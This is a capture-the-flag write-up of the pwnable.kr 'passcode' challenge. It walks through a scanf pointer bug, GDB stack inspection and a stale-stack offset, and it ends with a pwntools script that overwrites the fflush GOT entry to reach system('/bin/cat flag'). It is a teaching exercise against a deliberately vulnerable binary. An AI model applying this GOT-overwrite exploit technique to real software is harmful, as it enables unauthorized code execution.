Pwnable.kr - passcode
Challenge description:
Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that?
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else {
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
This challenge was a bit frustrating at first so let’s go easy.
First there is a call to welcome()
which takes 100 characters of input and prints a welcome message, nothing wrong with it.
After that we have a call to login()
which reads two integers (or it was intended to do that), then compares them with two constants and if they match we get the flag.
If you compiled this code you will get:
warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’
That’s a very famous C
warning, the code is passing the variable itself instead of a pointer to it which will cause an arbitrary memory write and might cause an access violation.
if we run the program and enter two numbers we will get a segmentation fault:
$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : test
Welcome test!
enter passcode1 : 1
enter passcode2 : 1
Segmentation fault (core dumped)
The first scanf()
for passcode1
works just fine, we are writing to an arbitrary memory location but it somehow passed.
If only we could control where to write, we can overwrite any GOT entry with the address of the assembly instructions that calls system("/bin/cat flag")
and we are done.
Time for GDB:
gef➤ disassemble login
Dump of assembler code for function login:
.....
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
.....
gef➤ b *0x0804857c
Breakpoint 1 at 0x804857c
gef➤ r
Starting program: /home/night-wolf/Downloads/passcode
Toddler's Secure Login System 1.0 beta.
enter you name : test
Welcome test!
gef➤ x/xw $ebp-0x10
0xffffd018: 0xffffd074
As you can see, $ebp-0x10 which is the variable passcode1
is pointing to 0xffffd074
(the address scanf() is writing to).
The trick of this challenge is that after a function stack frame is destroyed, the next function will start at the same base pointer:
Func1
-------
| esp |
| ... | Func2
| ... | -------
| ... | | esp |
| ... | | ... |
| ... | | ... |
| ebp | | ebp | same base pointer
------- -------
Now it’s time to make use of welcome()
function, some values of the input
array will be at the stack frame of login()
function, we can use pwn cyclic
to generate a pattern of 100 characters and fill the input
array to see what happens.
$ pwn cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
gef➤ r
Starting program: /home/night-wolf/Downloads/passcode
Toddler's Secure Login System 1.0 beta.
enter you name : aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Welcome aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa!
gef➤ x/20xw $esp
0xffffd000: 0x61616173 0x61616174 0x61616175 0x61616176
0xffffd010: 0x61616177 0x61616178 0x61616179 0xac31af00
0xffffd020: 0xf7fa5000 0xf7fa5000 0xffffd048 0x08048684
0xffffd030: 0x080487f0 0x00000000 0x080486a9 0x00000000
0xffffd040: 0xf7fa5000 0xf7fa5000 0x00000000 0xf7ddafb9
gef➤ x/xw $ebp-0x10
0xffffd018: 0x61616179
As you can see, some values of input
are still present in the login()
stack frame, and also the passcode1
variable is overwritten with these values. To know the offset of these values from the beginning of the input
array we can use pwn cyclic
again with the value 0x61616179
which is the string yaaa
(remember little endianness).
$ pwn cyclic -l yaaa
96
The value of passcode1
is overwritten by input[96] to input[99], unfortunately these are the last 4 bytes of input
array so we cannot overwrite passcode2
(it would be too easy).
Back to our plan, now we have the ability to write to any arbitrary memory location we want, let’s overwrite some GOT entries :)
Using objdump we can get the addresses of the GOT entries:
$ objdump -R passcode
passcode: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
The address of fflush()
which is 0x0804a004
seems good, it doesn’t contain any bad characters like \x00 or \x0a
.
Now to get the address of the assembly instructions that calls system("/bin/cat flag")
:
gef➤ disassemble login
.....
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
.....
It’s at 0x080485e3
, now get have all the pieces to complete this challenge. Remember that we need to send this address as a number string not as hex values.
Solution:
# solve.py
from pwn import *
buf = ""
buf += 'A' * 96 # offset to passcode1
buf += p32(0x0804a004) # passcode1 pointing to fflush GOT entry
buf += str(0x080485e3) # send as a number not an address
print(buf)
$ python /tmp/solve.py | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
Flag: Sorry mom.. I got confused about scanf usage :(